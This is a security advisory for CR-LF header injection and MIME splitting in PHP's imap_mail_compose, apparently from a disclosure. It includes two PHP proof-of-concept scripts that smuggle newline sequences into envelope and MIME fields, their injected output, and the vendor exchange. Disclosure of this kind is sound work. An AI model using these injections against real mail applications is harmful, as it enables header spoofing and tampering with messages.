PHP - IMAP MIME Splitting and Crlf Injection

Vulnerability Note

1 Summary

PHP is a popular general-purpose scripting language that is especially suited to web development. Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

2 Details

2.1 Description

Multiple CR-LF injection points have been discovered in the PHP extension imap. The library’s method imap_mail_compose (and possibly others) fails to properly handle CR-LF in header fields. php_imap.c does not check for CR-LF sequences at all but in some cases (namely injections to From, To, CC and BCC header fields) the underlying - and quite dated - libraries c-client and its rfc822.c MIME implementation returns text indicating that invalid input has been passed to the library (UNEXPECTED_DATA_AFTER_ADDRESS). The fact that an injection may have occured is also silently discarded by the php wrapper php_imap.c. The checks performed by c-client are insufficient and the library is pretty much outdated, hence, the concerns about the general security of the imap extension.

The imap extension is typically not enabled by default (pending distros decision), however, it is still part of the php-src codebase. We stopped looking for more issue with this library, however, given the fact that

it is recommended to warn users of using this extension due to potential security concerns, phase-out the imap extension and deprecate it as soon as possible (https://www.php.net/manual/en/extensions.state.php).

This vulnerability may allow a malicious actor to inject CR-LF control sequences into the MIME-Message that is constructed when imap_mail_compose is called, taking control over MIME headers, adding new headers, overriding existing, or perform MIME header splitting in an attempt to censor following headers or leaking them with the MIME Message Body.

2.2 Proof of Concept

PoC #1 - MIME Splitting Attack, Header injection, MultiPart Header Injection

  • Note how MIME headers are injected X-INJECTED.
  • Note how From, Subject is split from the rest. see python MIMEText parser output below.
  • Note how the multipart-mime now has multiple Content-Type: X-INJECTED overriding the original.
<?php
$envelope["from"]= "[email protected]\n From : X-INJECTED";
$envelope["to"]  = "[email protected]\nFrom: X-INJECTED";
$envelope["cc"]  = "[email protected]\nFrom: X-INJECTED";
$envelope["subject"]  = "[email protected]\n\n From : X-INJECTED";
$envelope["x-remail"]  = "[email protected]\nFrom: X-INJECTED";
$envelope["something"]  = "[email protected]\nFrom: X-INJECTED";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo imap_mail_compose($envelope, $body);
?>
  • Output:
From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
Subject: [email protected]

 From : X-INJECTED
To: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
cc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"

--371156484-1425523733-1593788218=:11383
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED

QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==

--371156484-1425523733-1593788218=:11383
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3

contents.data3



--371156484-1425523733-1593788218=:11383--
  • Output from python parsing the MIME message generated by php.
    • Note that headers are split into the body
from email.mime.text import MIMEText
msg = MIMEText(mimetext_from_php)
print(repr(msg.get_payload()))  # only print payload to demonstrate mime splitting
'From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nSubject: [email protected]\n\n From : X-INJECTED\nTo: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\ncc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nMIME-Version: 1.0\nContent-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: APPLICATION/octet-stream\nContent-Type: X-INJECTED\nContent-Transfer-Encoding: BASE64\nContent-Description: some file\nContent-Type: X-INJECTED\n\nQUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: TEXT/plain; CHARSET=US-ASCII\nContent-Description: description3\n\ncontents.data3\n\n\n\t\n--371156484-1425523733-1593788218=:11383--\n'

PoC #2 - Remail

  • Note that we were able to inject the 1st header which basically allows us to perform a splitting attack and set arbitrary header fields - we are basically in full control of all headers. X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM
<?php
$envelope["from"]= "[email protected]\n From : X-INJECTED";
$envelope["to"]  = "[email protected]\nFrom: X-INJECTED";
$envelope["cc"]  = "[email protected]\nFrom: X-INJECTED";
$envelope["subject"]  = "[email protected]\n\n From : X-INJECTED";
$envelope["remail"]  = "X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM"; //<--- Injected as first hdr
$envelope["something"]  = "[email protected]\nFrom: X-INJECTED";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo imap_mail_compose($envelope, $body);
?>
  • Output:
X-INJECTED-REMAIL: X-INJECTED
From: X-INJECTED-REMAIL-FROMReSent-From: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-Subject: [email protected]

 From : X-INJECTED
ReSent-To: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-cc: [email protected], UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."

--371156484-1425523733-1593789098=:2410
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED

QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==

--371156484-1425523733-1593789098=:2410
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3

contents.data3



--371156484-1425523733-1593789098=:2410--

2.3 Proposed Fix

  • Long term: remove the imap extension, discourage users from using it.
  • Short term: input validation, reject header names/values that contain context sensitive control chars (CR-LF). Note that this is not going to address the general security concerns and quality of the underlying c-client.

3 Vendor Response

The status of this issue seems to be.... untracked. :(

The best thing you can do is open a report at https://bugs.php.net/report.php setting "Bug Type" to "Security" (this will make it hidden to non project members, but you as the reporter will still be able to view it).

As for what you've reported so far, I think the largest issue preventing work on it is a reproduce case.  Ideally a short (handful of lines) demonstration of the vulnerability.  We can start hunting around for the issue based on what you've said, but everything will move much smoother if there's a smoking gun which can be pointed to.

See also: https://bugs.php.net/how-to-report.php

Thanks in advance,
-Sara

Fix:

[2021-02-08 12:16 UTC] [email protected]

While I generally agree that it is bad that the imap extension
still relies on libc-client, these header injections are clearly
an issue with the PHP binding (namely imap_mail_compose()).  For
the cases where we use rfc822_parse_adrlist(), this already can be
seen from the parse errors which are even more clearly revealed by
calling imap_errors().  For other headers, there is nothing to be
found in the documentation of the rfc822_*() functions which hints
at some header injection prevention.  So this looks like API
misuse.

Full patch against PHP-7.4 (see next paragraph):
<https://gist.github.com/cmb69/bca3e03582e5ce79c594b0ce57b06b92>

3.1 Timeline

JUL/02/2020 - contact [email protected]; provided details, PoC, proposed remediation.
Jul/08/2020 - vendor finally confirmed that they received my email. that's it.
SEP/10/2020 - vendor response: file security issue in https://bugs.php.net/report.php --> https://bugs.php.net/bug.php?id=80710
APR/27/2021 - vendor response: fixed

4 References